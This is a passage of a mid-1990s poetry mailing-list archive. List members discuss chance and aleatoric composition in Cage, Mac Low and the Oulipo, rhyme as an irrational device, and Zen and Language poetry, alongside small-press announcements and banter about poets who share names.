But what occurred to me some time ago is that in poetry written in the lnaguage we speak, call it English or American, the use of rhyme does the same thing. What a crazy thing, rhyme! What an irrational thing to do! To pick a word not for its meaning but just because it happens to sound the same as another word! Especially to do so in this language where rhyme words are so much harder to find than in Italian where everything feminine rhymes with everything else feminine.

Using rhyme is like using the random-number generator in a computer. It automatically introduces irrationality or unpredictability--if you want it to. For example, would it ever occur to anyone to write a poem in which one went from "moon" to "pantaloon" in the space of a few words. And as far as I can remember no one has.

Or "Prester John's Balloon." In this case someone has.

The problem may be that over the centuries the irrationality has been squeezed out, and we need new and fresh sources of nuttiness. Too many dried up peels and husks lying around--"June", "croon", etc.

There's nothing wrong with Cage's theory; it's just the practice. Banging on pot lids is fun to listen to for a few minutes. Has anyone ever shouted out "Encore!"

at the end of Cage's piece that requires nothing but a few minutes of total silence?

For real inventiveness try May Swenson's poem, "The Watch." Its organization is determined by an irrational principle as well. Or perhaps it would be better to say, its lines are dislocated by a new type--found only in that poem--of random-number machine.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

Phone: [redacted]

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53. Mark Wallace
announcing Aerial #8
Thu 4 May 1995

Aerial #8, special issue "Barrett Watten: Contemporary Poetics as Critical Theory," edited by Rod Smith, is now available from Edge Books.

Contributors to the discussion on Watten's work and influence include Bruce Andrews, Peter Baker, Daniel Barbiero, Manuel Brito, Steve Benson, Bruce Campbell, Joseph Conte, Daniel Davidson, Michael Davidson, Alan Davies, Ron Day, Jerry Estrin, Norman Fischer, Allen Fisher, Carla Harryman, Lyn Heijinian, Kevin Killian, Jackson Mac Low, Bob Perelman, Kit Robinson, Leslie Scalapino, and George Tysh. The issue also features writing by Jack Spicer and Victor Shklovsky.

Aerial #8 (304 pgs., ISBN 0-9619097-4-9) is available for $12.50. Please direct all payments and correspondence to:

Rod Smith
Aerial
Edge Books
P.O. Box 25642
Washington, D.C. 20007

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54. Mark Wallace
Kevin Killian, please ring me via e-mail
Thu 4 May 1995

Kevin Killian, will you please contact me over e-mail at the address listed on this posting--I have the information you requested, but don't have access to your e-mail address.

Mark Wallace

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55. William Slaughter
Re: Gerald Stern
Thu 4 May 1995

Two Gerald Sterns, two David Shapiros, and--for the record--two William Staffords. The poet and the editor (of MODERN FICTION STUDIES). The poet, early on, used his middle initial, "E," and the editor, later on, used his middle initial, "T." I wonder what _difference_, if any, the initial-ing made?

Bill

William Slaughter

_____

[redacted]

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56. Herb Levy
Re: aleatoric composition, using chance
Thu 4 May 1995

Since <silence>, the John Cage mailing list, is lately (& sometimes interestingly) bogged down with bibliographic issues regarding the provenance of various scores by Cage in chronological order, I guess it makes sense to discuss chance composition here.

Ira raises asks the question <Does it have to be random?> In most ways I think the question is more accurately stated <_Can_ it be random?>. I don't think it can be entirely random though there are certainly a wide range of how much the expected sound or word can be avoided.

Once a composer or poet or whoever has selected the gamut or aggregate upon which the change processes are to operate, once the composer or poet has decided how to interpret the chance operations, there are enough elements of taste and choice involved to eliminaate any true, or at least total <randomness>. Rather, the chance elements allow the artist to arrive at an

array of events and structures that are not prescribed by an individual's sense of taste or rules. In music this may include the rules of melody or harmony, in poetry, rules of syntax or discourse.

(There is, BTW, a very good book on Cage's compositional processes called <The Music of John Cage> by James Pritchett, published by Cambridge University Press. At least those of you at colleges and universities should be able to get it from a library. As may be clear to those of you who have heard and not just read about Cage's music, there is often a structure to it, and sometimes its an audible one. These structures simply don't fit any of the standard musical syntaxes. Does this sound familiar to any poets out there?)

In, say, <Music of Changes> for solo piano, or <Concerto for Prepared Piano and Chamber Orchestra, John Cage uses the I Ching to order events, etc. but he is selecting from a range of (very small) events he has previously composed. In later works, such as <Atlas Eclipticalis> or (much later) <Etudes Borealis>, star charts are used as the original source material for "randomly" selecting notes, but Cage determines how the charts are used and follows this system with a degree of rigor.

In other works, say <Music Walk> and <Fontana Mix>, performers use materials provided by Cage to generate a score from which they perform. In these cases, Cage has very little control over the actual sonic outcome of the work, but he has _some_ control over how the sounds are chosen.

But very few of Cage's works are this free and, in many ways, he was always in control of his music, he simply was not using the same systems as others were to structure his music. In fact, he rarely used the same system more than a couple of times to generate his music. It's this constant move toward looking for new systems, rather than getting into a stylistic schtick, that I find most appealing about Cage's music.

In Cage's poetry, his choice of source materials give the works form and content to a great extent. His various writings through Thoreau and Finnegans Wake are about the source materials, as are his later Norton poetry lectures, etc. In his writing he was more upfront about the fact that he made choices about how much of the source material to keep and how much to discard in following through his formal structures.

In the various methodical writings of Jackson Mac Low, his selection of the gamut of choices, works in similar ways. But, perhaps because he works primarily as a writer, Mac Low has a wider range within his poetry than Cage and isn't as simply dependent on formal decision structures.

As to Stockhausen, Ira, I don't see how your description of his use of chance is much different than the way most artists have of trying stuff out and seeing if it

works. (Our back channel mail about new music has only let me know that my turntable needs a new part, so I still haven't listened to the Stockhausen I have on hand lately.)

As to the colonialism implicit in the use of the I Ching by tourists for non-oracular divination. Well, as far as Cage goes, does it make it any better if it turns out that Cage simply broke things down into no more than 64 categories and used coins and or yarrow stalks to determine which of the 64 categories to select?

Cage rarely used the oracular text of the I Ching to determine his artistic choices. I'm not sure how late it was developed but someone eventually wrote a computer utility that randomly generated so in the later years, he wasn't even using the tradition means of divination to determine which of the categories to use.

There's plenty more to say, but I'll save it for now & see how others respond.

- Herb Levy

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57. Herb Levy
Re: aleatoric composition, using chance
Thu 4 May 1995

On Wed, 3 May 1995, Ryan Knighton wrote:

> *I too love this subject, as it happens. What interests me is the role of agency. It seems, as with Jackson M., that the removal of agency, if that is possible, calibrates as much chance as Oulipo does by setting strictures, by heightening agency. Any thoughts on this paradox? Or is it just a paradox to me?*

Ryan Knighton -

Maybe we're thinking of different aspects of Mac Low's work, but I think both Mac Low and (some, at least, of) the Oulipians are doing similar things. I don't see the distinction you're making between chance and strictures, when you look at the actual systems in use. If you gave an example it might help me understand what you mean.

For instance, I'm not sure that I see a functional difference between, say selecting words by the position of letters from a certain index word or phrase, or others of Mac Low's strategies and selecting, say the seventh word after a noun in the dictionary. They're both ways to get around using the easy ways of writing that standard syntax allows us/forces us to fall into.

- Herb Levy

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58. Edward Foster
Re: ZenLang
Thu 4 May 1995

---

kit robinson: re: zhang ziqing and the chinese "new zen poets" see his essay and translations in the new talisman.

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59. Tony Green
Re: Gerald Stern
Thu 4 May 1995

Well remembered Chris Stroffolino. I'll observe a two minute silence for Kent, Ohio. Tom Beckett once showed me where the site had been levelled by the University so that there is no physical geographic trace anymore. Here our university capping parade that year was marked by hundreds of black armbands, students and staff. I have a namesake in England, Anthony Green, R.A. I once wrote to him suggesting he change his name as I had exhibited paintings publicly before him (humorously as I thought) but got no reply. So recalling Henri Matisse's action in the same circumstances -- adding a hyphen between the two names, I changed my by-line to Tony Green. I toyed with the cumbersome "Anthony S.G.Green" for a while. The result is confusion in library catalogues. And in London there are people who still think I painted Anthony Green, R.A.'s pictures. We're talking trade-marks and trade-practices here. I have a friend who has exhibited paintings and published writing under three different names so far.... The proper-name problem extends wider than we might think.

Best

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60. Marisa A Januzzi
/advertising agency/
Thu 4 May 1995

H.T. Kirby-Smith's interesting post about the "irrationality" of rhyme as a way of organizing poetic choices brings the discussion of chance composition, in a way, to rhetoric. Did anyone else see the piece in the NYTimes about the susceptibility of the brain, to rhyme? In other words there are reasons babies

love to hear recitations of Dr. Suess. (Lyric as cry for Mama, as Barbara Johnson might say.)

I composed a long poem with a friend using dice. We were delighted with the results, but predictably maybe, no one was very interested in reading the whole thing. I mean the (inexistant) (?) metapoem was more interesting than the poem, and we who did it were more excited than anyone who read it.....

Please send aleatory energy to an 87 year old man you don't know, who's about to undergo surgery....

Thanks everyone
Marisa

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61. Dr L.A. Raphals
Twelfth Night
Thu 4 May 1995

To my mind that heart-stopping moment when Viola realized what has happend beats anything in Hamlet (better theatre too).
-- Lisa Raphals

On Wed, 3 May 1995,
George Bowering wrote:

> *Well, you cant fault Shakespeare for not developing female characters, either, L. Because the idea of a character in literature had not yet been invented. Now that we dont believe in them any more, we should be able to read Shakes better than people could 50 years ago. Maybe not, but it seems as if it should be true. But I do agree with you that Shakespeare's sonnets are a dream. One coulkd take them for a year to a desert isle and survive on them.*

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62. Tony Green
Re: aleatoric composition, using chance
Thu 4 May 1995

Try: " Chance " operations in the arts commonly involve the selection of materials by locating the intersection of (usually) two systems, e.g. sounds, spaces, durations, words, phrases -- with -- finite sets of numbers.

Note: although all possible results of these operations could be produced by computer-processing (provided the numbers involved are limited), the effect is usually to select one or more) of the available possibilities. In this way the

selection(s) are put beyond the range of what might be selected by unaided brain-power.

Thus large intersecting systems are pitted against deliberate choice.

The purposes for such designs vary from user to user and, judging by the elaborate descriptions of process provided by Jackson Mac Low (to which one or other of the Charles Bernstein's has drawn attention before "me", one of the Anthony Green's), the purposes also vary with each individual occasion of use.

What is clearly still deliberate and purposive is the positioning of the "artist" and of the "audience". This purposive character is apt to confuse those who regard only the "chance" of the procedures, thus neglecting artist-work-audience relations.

Intrstng, no? as ever a Formalist reading taken alone is ineffectual -- because it lacks a Contextual reading (i.e. social/political) & round we go again, folks.

Best
it erst

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63. cris cheek
Re: 2 announcements
Thu 4 May 1995

> *_TinFish_, a journal of experimental poetry, with an emphasis on work from the Pacific region, welcomes contributions. Please write to the editor, Susan M. Schultz, at 1422A Dominis Street, Honolulu, HI 96822, or Dept of English, 1733 Donaghho Road, University of Hawaii, Honolulu, 96822. The first issue will be free to anyone who asks for a copy (and you can do this over email). Please spread the word. And many thanks to those who responded to my earlier query.*

Hi Susan, might not be possible for your to post overseas, budget - wise , but if it is I'd love to see a copy of TinFish and will show others.

Cris Cheek
85 London Road South
Lowestoft, Suffolk NR33 OAS
UK

Also btw, I've just been sent the exchange between Silliman and Corn re-Parallel Tradition on CAP-L (which I missed). Your name crops up in the posts but I don't have your post itself. You wouldn't happen to have a copy of what you contributed that you could e-me? And what was the Enslin poem which instigated all of that?

Love
cris

↑ Index

64. cris cheek
Re: poetry and the electronic
Thu 4 May 1995

Yes Loss, 'we're' with you.
Let's see how the templates work out.

love and love
cris

↑ Index

65. Wystan Curnow
Re: Aleatory Poetry
Thu 4 May 1995

Dear Kirby, Re-rhyme. Don't worry so. Look at Charles Bernstein, the one at the net, always ready to serve poems which get from 'moon' to 'pantaloon' in the space of a few words, and he's not the only one surely. The outlook for rhyme seems very good to me right now. As to 'june' and 'croon'--don't write them off. Someone will come along, singing

Mr Beggar & Mrs Davy--
Looney and CRUNEY,
I made a pome out of it,
Havent smoked Luney
& Cruney
In a Long Time.

Dem eggs & dem dem
Dere bacons, baby,
If you only lay that
down on a trumpet,
'Lay that down
solid brother

'Bout all dem
bacon & eggs
Ya gotta be able
to lay it down
solid--

All that luney
& fruney

or something like with more of the same in choruses to follow ending
William
Carlos
Williams
in itself quite a rhyme.
Wystan
Curnow

↑ Index

66. John Byrum

Re: aleatoric composition, us...

Thu 4 May 1995

Ira,

Some random remarks on your interesting questions about chance.

In a sense, all composition is to greater or lesser degrees chance-generated. The conscious mind believes it is orchestrating things during writing, making decisions, determining themes, etc, but often directions, lines of investigation, phrases, words, etc., just pop in, get writtne down, edited, etc. These then lead in directions not originally envisioned...

Many so-called "chance-generated" texts (by Cage, Mac Low, myself, and others) use very strictly structured methods to arrive at word choices, line lengths, etc, etc. Cage's computer-generated mesostics, for example. Coin tosses, dice throws, I Ching, random numbers keyed to dictionary entries are all examples of structured approaches to opening the composition to "outside" forces not usually thought of as directed by consciousness.

However, if one's sense of self includes the world (self as an "expanded field" taking in "eveything"), these methods simply use other strategies, forces, or parts of the world-self to formulate or generate the text. "The world is speaking through the pen or keyboard" is a natural feeling. Strictly speaking then, chance is not random, but directed in at least three ways:

- through the conscious mind apparently but not completely in charge of its choices. - by using structured methods of text generation chosen and set into motion by the conscious mind. - by allowing "natural forces" (such as gravity or random numbers) to "have their say" in the outcomes of the above structured methods.

Hopefully others will also have ideas on this subject.

John

↑ Index

67. George Bowering
Re: Gerald Stern
Fri 5 May 1995

Speaking of two Gerald Sterns, etc.

Peter Quartermain is on this list but Peter Quartermain isnt.

↑ Index

68. Ryan Knighton
Re: aleatoric composition, using chance
Fri 5 May 1995

Herb Levy--

In response to your response I see what you mean. There is some similarity in what I see as a distinction, given your index and syntax example. Perhaps I m thinking of particular poems/works. For example, Cage's piece wherein he set the trip beams in a bank(?) and connected each one to a note or chord. I see this as not unlike Mac Low's "Antic Quatrains", the computer program configured to create words derived from the subject, which happens to be a name. In both cases, the parameters of the poetic occasion are established by the poet, but the system is autonomous in its movemnt and development--chance takes over, or at least a semblence of chance insofar as control has been relinquished. But in Oulipo, or Ashbery, sometimes, the strictures force the poet to work within the system parameters, not leave and watch it go. It's an exercise in anti-intention, a work against the sprawl of ego. In this case, you might consider Ashbery's Popeye sestina, whch I just recently read. I hope this at least approaches an explication of what i meant. Sorry about the typhos.

Best,
Ryan

↑ Index

69. Wystan Curnow
Re: Gerald Stern
Fri 5 May 1995

Dear bill, Did you used to live in New York? I knew a William Slaughter there once, tenth avenue I recall. But seriously you people you've ALL got doubles, at least. There's a good number of Robert Duncans in the Auckland

phonebook, most of them with collections to their name I'll be bound.But what about those lonely people who have their names all to themselves. Spare them a moment's thought. Is there, I ask you Bill, and everyone else who is listening, is there another living Wystan out there (forget about the Curnow). So far as I know there's only me. Help! the one and only Wystan

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70. **Herb Levy**
Re: Aleatory Poetry
Fri 5 May 1995

Tom Kirby-Smith's post on rhyme as a <defamiliarization> (not the term he used) technique is a useful one.

Formal constraints, whether they're older ones like rhyme or rhythmic structure, or newer ones like Mac Low's or the Oulipians, _can_ serv as a kick in the butt to a writer. The trick is for the writer to stay surprised while trying to focus on what she wants to say and having to follow a set of rules can keep both the surprise and the dsired statemnt in a interesting tension. And, as Kirby-Smith notes, it's rare that rhyme alone can do that anymore, for either the writer or the reader.

To paraphrase a sentiment from George Perec's author's note at the end of <La Disparition> (since I don't have the recently published translation at hand, my own loos translation DOES include words containing the letter <e> and doesn't pars quite rightly>:

<And by carefully defining evrything formally, genrally having it just keep looking more natural or producing quiet realism, sentences turn unnaturally vital when xamining your zen-do.>

Or something like that.

Making <sentences turn unnaturally vital> <by carefully defining everything formally> is what poetry is all about, isn't it?

- Herb

↑ Index

71. **Herb Levy**
Re: Gerald Stern Gerald Stern
Fri 5 May 1995

This thread reminds me of the jazz record store that used to advertise that their stock covered the whole history of jazz from George Lewis to George Lewis.

- Herb

↑ Index

72. Carl Lynden Peters
Re: chance
Fri 5 May 1995

---

read Marcel Duchamp.

c

↑ Index

73. maria damon
Re: Aleatory Poetry
Fri 5 May 1995

---

forgive my ignorance: who are the Oulipians?--maria damon

↑ Index

74. R.I.Caddel @ durham.ac.uk
No Change
Fri 5 May 1995

Good to read the Exact Change Annual, with its fine selection of UK poets introduced by Tom Raworth (Scully, Walsh, Mellors, Marriott etc). And to note his comments on the ways in which such writers are still excluded from attention by the dominant literary culture in the UK. And to note the publicity which Carcanet (who publish it over here) put out for it, which mentions not one of the poets in Raworth's bit, nor Raworth himself, and indeed glosses over the presence of UK poets in the publication, in favour of the "How exotic it all is" approach. It's nice to have the evidence distributed with the assertion.

"For you and me it's better to be unknown - to do our work" Weiners to Fanny Howe, op. cit. p350. No Change.

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

75. I.LIGHTMAN
aleatoric composition using chance
Fri 5 May 1995

I've been away for a day, so want to say thank you to everyone who responded to my floated questions. I got to read through the whole discussion this morning, including seeing my own fresh - I kind of didn't make clear that I do use aleatoric methods a lot myself, and may have come across, in my politeness, as a bit more naif than I am. But I'm really satisfied to see so much good introductory discussion of chance, which I'm no good at providing myself.

John Cayley's right that I've seen his work. It's very lovely, using interactiveness and hypertext, so that the lovely looking text slowly materialises word by word on the screen, and as it does, one can interact and make some choices to randomize it. Which is great, a great use of a kind of chance, kind of "editing with chance", which is a bit like what Cage does with source texts, as Herb pointed out.

The emphasis I'd like to add to this discussion, however, is less about chance in the process of composition or editing/reading, and more about chance in the process of personal growth as a person, in the artist or reader, not necessarily both. Ashbery once said that he finds his favourite, or most relevant, parts of books by opening them at "random". I kind of want to talk about writing as horoscope, maybe the artist does it cynically but it cues the reader, or maybe the artist uses the process as a kind of personal horoscope and it also, or instead, cues the reader.

Sheila E.Murphy said, among many other things: "when trust supplies the foundation for engagement with chance practices, miracles can happen. The process seems to require a complete letting go to work as it can... I'm most interested in chance practices because of what happens when confidence and the wide open possibilites intersect."

Sheila, thanks for this, I agree that, as you really kindly put it, we are "preaching different interests", but, still, thanks. I would draw some attention, for my own purposes, to words that link to a dominant culture of chance (that I don't want to lump you in) that I'm critical of, not because I don't like it, but because *I* don't want to be subsumed into it or confused with it (as you show, the best approach is for us all to see we're preaching differently, but I don't always get this from other chancers). The words I'd look at are "trust", "complete letting-go" and "confidence". Of course, your (very seriously taken) phrase, "miracles can happen" allows for so much room and open-mindedness that I think I'm picking up on the phrasing, not the practice. But the issues I want to raise here are: what is trust, does it involve trusting the process to throw up only bearable miracles (what happens if it wants to say to you "go

onto the streets" or "murder the President" - and what if history then showed that by murdering the President a whole awful world crisis would have been avoided?); does complete letting-go involve suspending emotional or intuitive response to the process as it is happening, even if the best message or work might have been produced (people often hold their breath when doing any kind of oracular work, does this equal the biggest sin of all reading, waiting for the message and not observing form, context and means of production?); is confidence intimacy, a sense of invulnerability, or a sense of "this is a path, and I must take it, and take the consequences" inspired courage?

I really clicked with what H. T. Kirby-Smith said about rhyme being an aleatory process, and in fact I came to aleatory process as an inveterate rhymer, hoping to find some of the same specific pleasure which, as Sheila says, are not what most chancers are in it for. Thanks, H.T., for bringing this in. It raises for me the possibility that one could produce a work of art by aleatory means, and yet pass it off, and have it have the effect of, intentional, ego-written, lyric. Which was what I was trying to say about oracles, and perhaps the idea of the muse. It's like, sometimes when I write a piece that is more written by the requirements of the form, I wind up with a product that I think "that's what I was *trying* to say". In such a procedure, I don't think of my conscious mind as something narrow but as something a little bit blocked and needing unblocking.

This is kind of what Herb says about my description of Stockhausen's use of chance: "I don't see how... (it's)... much different than the way most artists have of trying stuff out and seeing if it works". But I think my, and Stockhausen's, framing of this is oracular or religious. Stockhausen, after all, believes he has been reincarnated from an earlier life on the planet Sirius (if I could, I'd make a Star Trek: The Next Generation episode where the Enterprise visits Sirius and proves Stockhausen was telling the truth, since there are so many episodes in that series that take alien infiltration very seriously). Stockhausen has always talked of a higher calling, and being the servant, or channel, of higher forces. I'm very interested in this framing of chance. Whenever I've seen anyone do any oracle consulting, or rune-casting (and I do it a lot myself, and get results that have often been very powerful for me), you can see the ones who don't do it with seriousness, and then they get jumbled results and then pooh-pooh the whole discipline - and like all spirualists/psychics, I would say that you get out what you put in. Where might Hannah Weiner's clairvoyant word-seeing come into all this?

Herb, your defence of Cage is admirable, and interesting, but didn't he sell himself, just a tad, on the guru aspect (like Pound with chinese culture) of recommending the Buddhist way of life - and, as I said before, we have been talking about Zen...

John Byrum interestingly says "all composition is to greater or lesser degrees chance-generated", but perhaps what I've been arguing is that all composition could also be said to be written as intentional lyric - in that there's so much incidental daily detail in a lot of lyric, so much extra randomness. John goes on to say "if one's sense of self includes the world (self as an "expanded field" taking in "everything"), these methods simply use other strategies, forces, or parts of the world-self to formulate or generate the text". But I want to ask a little bit about what is "self" and "text" in this formulation; can they be active as well as passive, not simply being open-minded & taking things in & seeing one's connection to the world, but *using* that perspective - not just to recommend it to others, not all of whom may be receptive, but to *act* on it, directing others if they won't direct themselves. And similarly what is "text"? Is it to be perceived largely, in all its connections, as a formal metaphor to describe and convey the world; or might it also be a flare intuitively put into the world by the artist following a sense of higher calling, presenting to one or many readers a fragment you didn't think you were offering, that has an impact on destiny?

I'm thinking of these kinds of interaction between art (and prophecy involves art) and the world. Do they interest anyone?

Ira

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76. William Slaughter
Re: Gerald Stern
Fri 5 May 1995

Dear Wystan...

and, as you say, everyone else who is listening.

I've never actually met another WS, though I know from turning the pages of phonebooks, including NYs, that we are many. And I take it for granted, as you do, that I'm not the only one of us who has a collection. I do get calls, from time to time, having to do with a somewhat different kind of collection. There's at least one of us, WSs, out there somewhere who doesn't pay his bills. I don't think I can be of any help to you, Wystan. So far as I know you ARE the only living Wystan, Auden being dead, but I'm quite sure others know better. Aren't you? I hestitated to mention Stafford in my original post and I hestitate to mention Roethke in this one but I am posting from Seattle. In "In a Dark Time" Roethke asks the question: "Which I is I?" That IS the question, isn't it? And, having asked it, I'll return to my own sure silence. Bill.

On 5 May 1995 [redacted] wrote:

> *Dear bill,*
> *Did you used to live in New York? I knew a William Slaughter there once, tenth avenue I recall. But seriously you people you've ALL got doubles, at least. There's a good number of Robert Duncans in the Auckland phonebook, most of them with collections to their name I'll be bound.But what about those lonely people who have their names all to themselves. Spare them a moment's thought. Is there, I ask you Bill, and everyone else who is listening, is there another living Wystan out there (forget about the Curnow). So far as I know there's only me. Help!*
> *the one and only*
> *Wystan*

↑ Index

77. Don Cheney
Zen and Langwhich Poetry
Fri 5 May 1995

Zen and the Art of Ron Silliman:

27. Your existence is not a condition of this work. Yet let me, for a moment, posit it. As you read, other things occur to you. You hear the drip of a faucet, or there's music on, or your companion gives a sigh that represents a poor night's sleep. As you read, old conversations reel slowly through your mind, you sense your buttocks and spine in contact with the chair. All of these must certainly be a part of the meaning of this work.

from "The Chinese Notebook"

↑ Index

78. Herb Levy
Re: aleatoric composition, using chance
Fri 5 May 1995

On Thu, 4 May 1995, Ryan Knighton wrote:

> *Herb Levy--*
>
> *In response to your response I see what you mean. There is some similarity in what I see as a distinction, given your index and syntax example. Perhaps I m thinking of particular poems/works. For example, Cage's piece wherein he set the trip beams in a bank(?) and connected each one to a note or chord.*

I haven't heard this piece, but if, as I assume, it's a musical piece for dancers, there are a lot of composer choices of which sounds are heard by movement in which sector of the grid. Since at least most if not all of the time, dancers will

have to move through adjacent grid sectors, there are quite strict constraints on the order of events. These constraints are further limited by Cage's choice of which sounds to trigger by light beams in which sector. Not knowing the piece, I don't know what sounds were selected, but given these restraints this kind of technology could be used to produce a fairly tonal, harmonically simple sounding work or an extremely dissonant one. Because of the kind of technology involved, it's likely that this work was made in the sixties or late seventies, and given Cage's history, it probably would have been <noisy> by the standards of <normal> music. But there's nothing in the formal structure that requires it to be so.

In fact, tonal music is so strictly rule-based that it is relatively easy to put together computer algorithms to create works within a particular style. As a parlor trick, Mozart once wrote a short piece for solo keyboard in which the order of the measures was to be selected by throwing dice. The formal constraints of harmonic progressions are such that it doesn't sound <random>, but, atleast on the level of movement from measure to measure, it is exactly random.

> *I see this as not*
> *unlike Mac Low's "Antic Quatrains", the computer program configured to create words derived from the subject, which happens to be a name. In both cases, the parameters of the poetic occasion are established by the poet, but the system is autonomous in its movemnt and development--chance takes over, or at least a semblence of chance insofar as control has been relinquished.*

In <Antic Quartrains>, Mac Low used a computer to somehow manipulate anagrams on the letters of Anne Tardos' full name as derived in <A Vocabulary for Annie Brigitte Gilles Tardos> (My copy of the text in <Bloomsday> is not clear about how the words were selected or ordered.) Isn't this a lipogram (an ancient form revived by various Oulipians, in which a writer uses only words that do not contain one or more specific leters) on those letters that are not found in Tardos' name? While their vocabulary is odd,to my ear each quartrain is a parseable sentence. Mac Low even uses a standard lipogrammatic ploy by several times replacing the word <of> with the odd, but recognizable <o'>.

In other words, I just don't see Cage or Mac Low standing back from some kind of run away train that happens to be spewing out words or sounds in its wake. What they are doing is exactly writing _with_ <anti-intention, a work against the sprawl of ego> as you put it below in your description of Ashbery or the Oulipo group. And, in fact, Cage often described his work in quite similar phrases.

I just don't see a clear place to draw the kind of distinction you want to make. I think it's just a continuum & not some formal opposition.

> *But in Oulipo, or Ashbery, sometimes, the strictures force the poet to work within the system parameters, not leave and watch it go. It's an exercise in anti-intention, a work against the sprawl of ego. In this case, you might consider Ashbery's Popeye sestina, whch I just recently read.*
> *I hope this at least approaches an explication of what i meant.*
> *Sorry about the typhos.*
>
> *Best,*
> *Ryan*

Bests,

Herb

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79. peter quartermain
Re: Gerald Stern
Fri 5 May 1995

Now which Peter Quartermain would that BE, George?

In message Thu, 4 May 1995 22:25:14 -0700,
George Bowering <[redacted]> writes:

> Speaking of two Gerald Sterns, etc.
>
> Peter Quartermain is on this list but Peter Quartermain isnt.
>

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]
Canada V5V 1X2

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80. Sheila E. Murphy
Re: ZenLang
Fri 5 May 1995

> Reply to: ZenLang
>John Geraets,
>The visiting Chinese scholar Zhang Zing (sp? - Hank?) told me

>he is working with two groups of poets in China--a "language"
>group, with interest in parallel developments here, and a zen
>group, whose work is naturalistic and lyrical. According to
>Zhang, these groups are basically antithetical, with no overlap.
>He was surprised when I told him about the common ground here
>(Fischer, Davies, et al.) Subsequently, I wrote a brief essay for
>Zhang on Zen & poetry, focusing on my own practice and quoting
>a couple of koans from the Gateless Barrier (Mumonkan). I can
>send it to you if you like.
>Kit Robinson
>
Kit, I'm replying on the list, suspecting that many others may have interest in the essay that you referenced. Would you be willing to post it here, or to share it backchannel with me? Thanks very much.

Sheila Murphy

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81. Federation Sand

ZenLang

Fri 5 May 1995

Hmmm....well there seems to be significant interest in this topic of people who sit zazen and write poetry, or people who write poetry to people who sit zazen and write poetry or....? :)

I've been sitting zazen pretty seriously (i.e every day and some full day and two or three day seshin once in a while) for about five years. I would definietly say that it's 'influenced' my writing. I don't consider myself a buddhist (in fact, some of why i sit is wrapped into the question of 'what' i am...i think 'who' is irrelevent until the first one is better explored). I think in general that zen is vastly misunderstood (yes, even more than that) by those who do not practice it regularly (and even by some who do!). Though it is clearly repeated that talking about it is nearly useless, it is simultaneously true that human beings, being talking machines, HAVE to talk about it (whoops! here I am!).

I feel personally that my spirituality, both within the zen paradigm and without are a profound part of the reason, passion and form(s) of my writing. These, coupled with my experiential explorations, recollecctions, musings and emotings form the core of my inspiration and content. Writing is a mystical act for me, it is an 'ordinary' opening into the energetic realms of psyche and un/sub conscious mind, where the separations fade to fog and then to a ringing silence! A silence which is moving as though one had become the water in the river, without knowing the concetps of water or river. (When it's at its best)

Even when it (my writing) is at its worst or most difficult, I recognize the symbolic power of the act itself and take joy in my ability to join with the poetic and prosaic elements of self and other.

Happy to answer other quries on this subject...

Darin De Stefano

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82. cris cheek

Re: aleatoric composition (longish)

Fri 5 May 1995

Noting what's been posted to this subject to date a first stumble into the thicket as requested:-

1. Among many influences MacLow identifies - in Vort 8 (Stein, Schwitters, Duchamp via Cage, Maciunas) 'equally important . . . were Pound's use of economic, historical, and other text materials in 'The Cantos'.' So, it's the choosing and the processing of materials under compositional pressure which is particularly cogent to his earlier work exploring the possibilities of 'chance'. Of course he doesn't always compose using chance. In fact he has probably constructed chance-like collocations into his overall linguistic desire to an extent sufficiently influencing all of his writing - much as Burroughs' experiences with cut-ups have altered his. (oooh oooh - these boiling waters here).

I would agree with Herb about the idiosyncratic (subjective) aspects of 'choosing one's ground' that mitigate against attributions of 'randomness' being used as a basis for criticism of chance-generated or chance-impacted or chance-controlled works. (one thing I felt on Cage's death was how utterly ludicrous the accusations were of his having denied or erased individuality / subjectivity - levelled at him through banal parrotic obituaries in the British press - quite the opposite, his work had tested the vacuousness of such a project and proved it false).

The careful choosing of ground is very important it would seem in minimising the possibilities of generating meaning that one really! did not 'want' - I'm thinking here of conversations I've had, for example with Allen Fisher, about the creation of unchallenged oppressive meanings and whether MacLow ever edits / rejects or intervenes in his works on such bases. In the Vort 8 issue he clearly says that some of his chance poems, as well as intuitive ones, are 'revisable'. And I realise, Ira, that this begins to touch onto your question of producing 'something more true, that surprises and sobers her / him' - but with an extra twist. I've got to agree with Sheila, from my own limited experience in

chance-compositional related matters, that the full range from mundane to utterly extraordinary (in relation to primary expectation / intention) can and does become present.

2. In conversation Jackson once gleefully told me of how his use of frequent instructions to the performers regarding tone and attitude and so on had enabled him to achieve 'indeterminacy through overdetermination'. This is a strand that is of particular interest to me. There might be some corrolation to be explored with composers of the 'new complexity' such as Brian Ferneyhough.

3. Phrases that have come up in this discussion which I 'like' are Ryan's 'heightening of agency' - Tony's 'purposive character' in relation to positioning and Herb's question 'Can it be Random? which seems worth asking once more before the onward wash of this list deletes it.

4. I would agree with John Cayley about the possibilities of composing using chance in real time being comparatively under-explored. I would certainly recommend John's hypertext book 'Unbound' in this respect. It's a terrific piece of work that put simply writes (adds) the reader's reading into itself as the reading progresses. And each reader can choose (opt for, in a hands on response) to create a more or less collocational versioning which is explored in dynamic tension alongside and inside the 'original' linear texts. His composition makes chance generation from the materials he provides available to every reader in a real time improvisatory engagement through the act of reading. An extension of the opportunities offered by every book? 'Unbound' is a fascinating multilogue, with the machine acting as exquisite interpreter. Huh? I can't believe I just wrote that! So I'll re-post John's own description:

> *Processes can also be open-ended, feeding back into themselves. I have a new piece that learns phrases selected from generated text by the reader. The reader's copy of the piece is changed irreversibly by adding selections. Since the generative process is based on frequencies of collocations (word juxtapositions) the piece will eventually be dominated by phrases selected by the reader. (It would probably also eventually choke on the amount of text generated and selected. BTW this is probably also properly 'chaotic' -- literary turbulence slowly drawn towards a 'strange attractor', nudged into place by the reader.)*

5. Ira, am I mis-reading you, deliberately? Isn't the often exhaustive documentation of procedures presented alongside the poems (the results of the implementation of the procedures) in MacLow's work in itself a research write-up? What other format do you envisage such taking?

expecting this topic to run far further - bamboozled for now
love
cris

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83. Sheila E. Murphy

Re: aleatoric composition, us...

Fri 5 May 1995

John Byrum wrote:
>
>In a sense, all composition is to greater or lesser degrees chance-generated.
> The conscious mind believes it is orchestrating things during writing,
>making decisions, determining themes, etc, but often directions, lines of
